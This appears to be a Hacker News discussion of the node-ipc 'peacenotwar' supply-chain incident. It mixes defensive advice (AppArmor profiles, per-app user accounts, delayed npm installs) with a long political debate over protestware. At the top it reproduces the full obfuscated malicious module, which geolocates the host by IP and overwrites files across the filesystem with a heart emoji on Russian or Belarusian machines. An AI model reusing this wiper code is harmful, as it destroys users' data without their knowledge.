Node-ipc supply chain attack: peacenotwar
github.com
github.com
https://github.com/RIAEvangelist/peacenotwar/issues/61
# https://raw.githubusercontent.com/RIAEvangelist/node-ipc/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js
import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}Edit: Never mind, here's the commit: https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f8...
Something in the release process botched itself and a git tag was not made of the release, but it still made it to npm anyway. I immediately fixed the issue and made another release, with a tag.
I went to the npm website and didn't see an obvious way to remove the botched release or even mark it as botched. Maybe there is something on the cli, but I'm lazy.
I also got an automated issue created by "ChainAlert", whom I've never heard of before. "This issue was automatically created to inform you a new version (x.y.z) of yourproject was published without a matching tag in this repo."
It seems like some effort is going into at least bringing this issue to the attention of the maintainers, but I feel like it should somehow be integrated into NPM directly in addition to an issue being created in my project.
You can no longer unpublish this package.
npm ERR! Failed criteria:
npm ERR! has dependent packages in the registry
npm deprecate -f 'package@x.y.z' "this package has been deprecated"
> This code serves as a non-destructive example of why controlling your node modules is important.
I've complained loudly about supply chain weaknesses in the past. But this action, by a trusted author whose identity is known, is not something that our usual models are prepared for, and I'm not sure what we're supposed to learn from it.
Our defenses are tuned to protect against attackers who don't want to be known and who don't have a public reputation built up which they burn in one go.
Avoiding delegating trust: simpler dependencies with the minimum necessary functionality for each user, writing code not to ease the job of maintainers, but to better teach users learn how it works, empowering users to review/contribute upstream changes or fork the library if they desire. This conflicts with Boost-like entangled "multi-maintainer projects" where every library has a sprawling tree of internal dependencies, but (I'd argue) not more modular large projects.
That a individual's reputation doesn't earn enough trust to be an unchecked link in your supply chain. Dude can go rogue at any time, and you have no idea of what might be the trigger, because you don't actually have any personal knowledge of them.
That just verifying the identity of a software author isn't sufficient to ensure the software is safe. We need to build our software such that the damage that can be done by a malicious actor in control of one component is isolated to that component. There's still some danger from malicious code even in that case, but it's far from the "total system takeover" that any malicious node library can do now.
https://medium.com/agoric/pola-would-have-prevented-the-even...
Ongoing review by project committers — highly invested insiders, familiar with the codebase — is more realistic, at least in terms of actually detecting problematic code.
I was disappointed when I learned that crev's scope includes code quality, a highly subjective and inflammatory subject. I can't see how crev avoids becoming a poo-flinging venue. It seems to me as though competing initiatives which limit the focus to verifying publisher identity hold more promise.
Commit your dependencies and be lazy to keep them up to date, but scan for vulnerabilities. It's far less likely you'd be hit with a 0-day attack than a broad attack (or bug) like this one.
I was absent from development for the past 2 months, so I did not update the package, and I'm not in Russia or Belarus. However, if it did affect me, I:
- Take full-data daily backups to external hard drive (I have 3 in total and rotate them)
- I have setup multiple user accounts on Linux for different applications and run them via su / sudo. All it could delete was only the source files which were backed up anyway. I always considered it stupid that a random node module downloaded from Internet with Internet access should have access to all files on my filesystem.
I guess all it could do to me is require me to spend an entire day installing the system. I have a detailed spec on what packages to install to replicate exactly the system I have at the moment. Sometimes it pays off to be an Arch Linux geek. In the future, I will have a setup where I will have a full emergency system backup on the pendrive, so even losing the entire computer I could hook all my data and the OS to another computer in a matter of minutes and would lose a maximum of 1 days worth of work.
An npm package removing all files on system just because a user is in a country is pure evil, but really, having a backup can go a long way.
I keep a factual record of such incidents and their developments in a repo called github dramas: https://github.com/paradite/github-dramas
The unfortunate thing is that these features aren’t at the OS level, and we need a separate runtime to do these kinds of things. The current widely used OS kernels (Windows, Linux) don’t give granular permissions that well, for example in Linux we either have all or nothing (root vs user). I’ve heard that OpenBSD has a system to constrain for each program what syscalls you can make, and Serenity is also following this model (https://awesomekling.github.io/pledge-and-unveil-in-Serenity...).
And it's not like non-root user is nothing. I, as a user, can of course access and edit files on my $HOME directory. But it's insane that a transitive dependency of a dev dependency that has been installed without even my knowledge can have by default the same permissions to access and override any file on my $HOME directory.
You can for example make a profile for an app that says it can only access these files and write to these files, and forbid it to use the network.
You can also start an app using the root user (or any user), but run setuid in the app (source code) in order to drop privileges. For example, first read secret key files, then drop privileges to a user that can't write anywhere - before running the rest of the code. This is common in web servers sunch as Nginx, you start with root, in order to read certificate keys, but the workers that accepts the requests and reads the files runs as the www user.
Given recent redhat stunts and our current infra switch, I hope AppArmor is less dense, or at least equipped with more approachable documentation.
sudo apt install apparmor-utils
sudo aa-genprof /path/to/app
Many apps need access to /dev/urandom, /usr/bin, /usr/lib and be able to send and receive hup and int signals from other programs.
One nice thing is that you can define rules for child process spawned by your executable:
/path/to/your/app/childprocessorscripts/** Cx -> scripts,
profile scripts {
...
}
network unix,
If your app needs to spawn something that use TCP:
/usr/bin/curl px -> networkTool,
profile networkTool {
network,
}
You can find errors and edit profiles with aa-logprof
If you get frustrated you can allow everything, but show logs:
sudo aa-complain /path/to/appYou can go far on Linux without SELinux, by making user accounts for specific applications and tasks. I.e. I have an account just for the browser so if I was affected by 0-day, it reduces the chances of the system being compromised. I have an account for JS projects, so if some npm module has a RAT in it (or deletes everything in the system), it would only be able to access the files in that specific-user directory.
But yes, library level authorization at the very least.
Without a large scale change, you'd have to fork a new process for each 'library' to create a process boundary to then sandbox, which is actually what you do sometimes (think firing ffmpeg or openssl or similar) but doing it for each library would be prohibitive, especially in NPM world where you blink and have thousands of libraries =)
https://itnext.io/no-way-to-prevent-this-says-only-developme...
There's no sandbox to protect the devs, though... :) So when NPM and friends will get trully weaponized in a smart way, it is going to be a real shit show.
This looks like a good time to ramp up my defenses. Some kind of package review staging area would be nice. No more pulling npm packages directly from the net, but only from a local repository which only allows to pull updates into it after a manual review of changes from upstream npm packages. Or something like that.
If you got hit using vue.js, try nobuild style app making its awesome! I've been using riot.js with zero build tools for two years now, and never looked back, there is no easier way to build apps.
Don't look back! build back better!
Edit* To expand I think it was and we are naive if we believe we aren't making political statements with a lot of the choices we make.
I’m not saying this malware is good (it’s not), but this question deserves an answer in its own right.
Then there's the politics of protest, and you sure as hell don't want those in any critical software. Would you want the software that controls your water supply to be similarly politicised in the way this peacenotwar package does? No - because water supply should be politics free at providing the actual service (i.e. water) even though the actual infrastructure was funded by politicians.
We have extraordinary privilege and power as workers. We have the power to make the world better. The people who want to make it worse already see us and our domain as an attack vector. We cannot change that. We should rise to the occasion, not declare neutrality in its face.
Nothing in my position is against engineers having political opinions, or campaigning for what they want, or resigning or whatever. I just think that that's not appropriate in terms of the actual service they concretely provide to society during their employment.
It’s already political. Those targets are already used when people see fit to use them. What I want is for us to stop pretending that there’s a possibility of a multi-trillion dollar industry that can be absent political impact and conflict. It cannot happen. We need to be engaged politically because many of those impacts are or will be harmful like you say. We also need to be engaged because our neutrality determines what is and isn’t acceptable as a status quo. And yes, in certain very specific circumstances we need to decide whether our conscience rejects, accepts, even abides or joins certain demonstrative or material actions even if they’re generally out of bounds. We live in a world. It’s nowhere near so compartmentalized.
# insert "{{President Biden's}} poor economic policies have led to..." into db
“Error: PoliticalProtestInSQLModule error at or near ‘poor economic policies’ - Postgres has determined that you are ignorant and wrong, and includes this warning in the off chance you are open to listening to reason. Be thankful we still let you insert the string into the DB.”
We, humans, live on a planet with other humans. We make complex choices every day about how we participate and the compromises we do or don’t accept. Every technology that has any meaning for real people has a role in that. We cannot be neutral even if we wish to be, we don’t even know what neutral is.
When I say that my interest is rooted in anti-colonialism, I’m trying to be very clear: people who were and have been regarded as non-existent rightly used disruption and even violence to be more seen and heard. It doesn’t have to be violent. It does have to be disruptive. You don’t get to determine the terms of that, you just have to accept that what’s neutral to you might not be neutral to others… and let your moral judgment be what it is.
Edit: and yes I did see if I could edit the Putin page to say he’s a piece of shit, of course I could not. But I certainly would have.
What is your goal with doing this? Do you expect someone will be persuaded to dislike Putin because of this? Do you think it's acceptable for Putin supporters to vandalize Ukraine's Wikipedia page?
You can say "politics is in everything", but that hasn't stopped Wikipedia from being a pretty good resource for information. Do you think everyone's protests should be kept up and Wikipedia be a wasteland of vandalism? Or are you relying on volunteers to spend their time taking down your vandalism?
Wikipedia's rules for content seem pretty good. They take down blatant political bias. I would call that "no politics", but I presume you wouldn't call it that. Why not expect this in OSS?
I think I agree with you in some ways, but this is an odd example to give of something that’s not politicized. The prioritization of who gets protection in a light cycle, who the light cycle timing is optimized for, who gets detected to influence the signaling and who doesn’t… those are absolutely political choices. (And here in the US where I am they almost always prioritize the movement of cars above all else.)
Further it ignores that there’s a difference between related political concerns and unrelated political concerns within any given activity. Statistically some software maintainers are going to be evangelical christians. They don’t need to be using their node packages to evangelize or drop “god hates fags” messages on computers in IP blocks belonging to pride month participants. Statistically some are going to be communists. They don’t need to be dropping Karl Marx quotes into software installs running in republican strongholds. Some are going to be antivax, they don’t need to have their nose packages start sending “vaccines cause autism” messages to the logs. Some are going to be Biden supporters, they don’t need to be having their packages delete files when installed on computers run by Bernie Sanders supporters.
In fact even for tangentially related topics, unilaterally changing the conditions of the interaction you have with your fellow maintainers and developers in order to insert your current important political issue into their machines is a fundamentally dick move. The GPG maintainers might be all about encryption and encryption rights, but if the EARNIT act passed tomorrow and in response they quietly changed all versions of gpg to send plaintext unencrypted copies of everything it’s asked to encrypt or decrypt to Wikileaks as a protest, that’s still a dick move even with the politics being explicitly related. It’s unnecessarily bringing politics (encryption rights) into a non political transaction (using encryption software to encrypt something).
When people say they don’t want politics in their software that’s what they’re taking about. They don’t want people taking an existing agreed upon sphere of politics and influence and suddenly injecting new rules into it that fundamentally alter that relationship.
Part of the reason I can’t is… there are things I can’t be neutral about because lives depend on it, including my loved ones and my own in some cases.
I don’t think this was the right way to put very real human cost into software as an agent of change or discussion, but I can think of ways it could be (because) I can think of dozens of other ways necessary social progress would have been impossible without people interjecting “neutral” which wasn’t.
And if that feels too radical for you or HN, let’s not forget that this is a common tactic of combat (and the “political” subject is literally war). Railroads and landing strips aren’t instruments of war, they’re ostensibly neutral. But they’re widely regarded as conventional targets because they facilitate otherwise non-neutral activity. The same goes for any other infrastructure.
Again I don’t think this was a helpful action. But I think it was an inevitable one, and I think hoping for neutrality in software is just naive.
But that does not mean that I turn every discussion on HN, even discussions related to political things into a discussion about my specific personal issues. The fact that you and I aren’t hashing those issues out right now is not a tactic endorsement of the status quo. And it would be ridiculous for me to use my power as a software developer and maintainer to start inserting messages about my stances on these issue into the software I maintain and distribute, and it would be especially ridiculous for me to start distributing malware along a trusted supply chain because of those issues.
Asking that software be a neutral ground with respect to certain political topics or activities is not an endorsement of the status quo or a dismissal of your completely valid concerns. It’s a recognition that there is a time and a palace to discuss, debate or even fight about very important issues. But not every time and every place is the appropriate one.
Or put another way, and taking out of the software realm, if neutrality is inherently political and some political things are too important to leave any place neutral, then what issues do you believe we should start militarizing the moon for? Is the human cost of this war sufficient for the US to start deploying military assets to the moon? Or even just militarizing (more so than it is for spy satellites) earth orbit and deploying kinetic weapons into space? Perhaps the US and EU should unilaterally take full control of the ISS and imprison the Russian cosmonauts onboard?
Or is that plainly ridiculous and is there value in attempting to preserve as much neutrality within space as possible given the current situation? Perhaps it is worthy to not escalate political boundaries in certain areas even when the political item in question is of extreme importance.
Claims like these are, presumably, in good faith, but to make these claims you have to skirt the reality that "don't talk about it" functionally ends up being a tacit acceptance of the status quo. And that status quo has a lot of people downrange of it who the more comfortable among us (and I for one am very comfortable) may find much more palatable if they'd just shut up--but the world is more existential than discomfiting for them, and we should respect that.
There are many cases where one's existence is a political question; much of America, for example, thinks the right to existence of LGBTQ folks is up for debate. When the fact of your existence is controversial, your existence is political--and it is rather difficult to criticize someone for acting as such.
On the other hand, an evangelical Christian doesn't have to drop slurs in a package. They already have a world where people are beaten and killed for being gay, even with the prodigious successes of our LGBT siblings to date. They still have the world that they want--they're just not happy with the slope of the function.
One of these things is not like the other.
I would love for you to expand upon that, why you believe that? I am not aware any wide spread opposition to the "existence" of LGBTQ people, I am aware of wide wide spread resistance to Speech Codes (enforced use pro-nouns), Sexual education to minors, Allowing children to transition under the age of 18, allowing children to transition with out the consent of the parents, and other topics around CHILDREN.
Is that what you refer to when you state that the "existence" of LGBTQ people is under threat in the US?
To equate my statement to being "equating LGBTQ people with sex and sex only" likely means you have no desire for an honest dialog.
I will say though it is likely we disagree on these issues because I do believe parental consent and transparency is critical and non-optional and will never agree that state actors (i.e schools) should with hold information from parents for any reason outside illegal abuse which should be reported to the proper authorities and investigated criminally with full due process protections, not under the some guise that the schools/teachers know best.
This is definitely a terrible and destructive decision by the maintainer(s) but not because its politics.
This package won't appear on your computer by magic, you have to tell NPM to fetch it somehow. Now, the goal was obviously destructive, but the code execution and initiation of the payload was explicitly started by the user.
Further complicating matters is that the actual crime, the destruction of data and the installation of the software in case of destructive behaviour, all happens overseas, in Russian jurisdiction. The USA isn't going to extradite this guy any time soon in the current political climate and if the checks all work well, no destructive code is actually executed on computers within the USA.
I'm sure prosecutors will find a way to get the guy convicted, after all, they managed to abduct Kim Dotcom to the USA at the request of the copyright lobby, but it's going to be an interesting case.
Culpability can’t be shielded by software licenses, because the law is not a programming language.
I also doubt the added cost will be very high because everyone already had to audit for malware. Everyone might require an update of their malware definition files, but it's nothing new.
I'm not aware of any American convictions where a package maintainer sabotaged a repository of code for only foreign computers. It's definitely illegal (at the very least it's a GDPR violation) but the details might make it hard to get a quick and easy conviction out of this.
Do not underestimate the impact of actually cleaning up following any kind of incident, especially at enterprise scale. What’s more, just because we are already repelling malware, this doesn’t offset the culpability of an actual identifiable culprit; very little malware is so easily traced. Many prosecutors would be salivating at the prospect of making an example of such an easy target.
As for the geographical scope of impact, again beware, because geolocation by IP is approximate. I know of an Australian startup whose hosting was misidentified by IP as Russian and lost access to certain APIs, for example. Nations that border the intended recipients of the payload, such as other former Soviet republics, are even more likely to trip up. Even the parochial assumption of only thinking the US matters fails because US entities do still operate in Russia. Including government entities who would be very shirty about being targeted.
I can only think of some ideas:
- Use a private registry, which will only sync with upstream once a month.
- Do not update dependencies frequently.
Any other ideas?
However it is a problem of the eco system, not package manager.
npm i --before=`date -I -d '-5 days'`
https://www.theregister.com/2022/03/18/protestware_javascrip...
Terrorism means something specific: it means inflicting terror as an end in itself.
Not saying parent's defn is correct, but I don't like this one either.